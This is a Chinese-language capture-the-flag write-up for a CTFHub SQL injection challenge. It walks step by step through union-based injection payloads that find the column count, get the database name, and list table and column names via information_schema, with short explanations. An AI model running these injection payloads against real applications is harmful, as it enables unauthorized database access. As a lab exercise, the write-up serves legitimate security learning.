题目:CTFHUB
输入1:id=1
判读字段:id=1 order by n
ORDER BY :用于根据指定的列对结果集进行排序
order by n 报错(即没有该字段),以此来判断字段,所以此字段数为2
联合查询测试回显位:id=-1 union select 1,2
出现报错的原因:
首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
其次,必不可少就是后台未对MySQL相应的报错函数进行过滤
UNION 操作符用于合并两个或多个 SELECT 语句的结果集
获取当前库名:id=-1 union select 1,database()
union select联合查询我们后面所要查询的字段个数要和之前一致,这里有两个字段,一个是1,还一个是database()
select 1,2 from table:查询table里的1、2字段的数据
union:连接 select ,字段数需要一样,这是一个是 1 ,另一个是 database()
database():查看当前数据库
查询sqli的表名:id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
group_concat():将字段数据用逗号分隔,再合并
information_schema.tables where table_schema='库名':查询整个数据库中所有库所对应的表信息
information_schema.tables:记录表名信息的表
table_name:表名
查询flag所有字段名:id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
information_schema.columns where table_schema='库名' and table_name='表名':查询整个数据库中所有库对应的字段的信息
information_schema.columns:记录列名信息的表
column_name:列名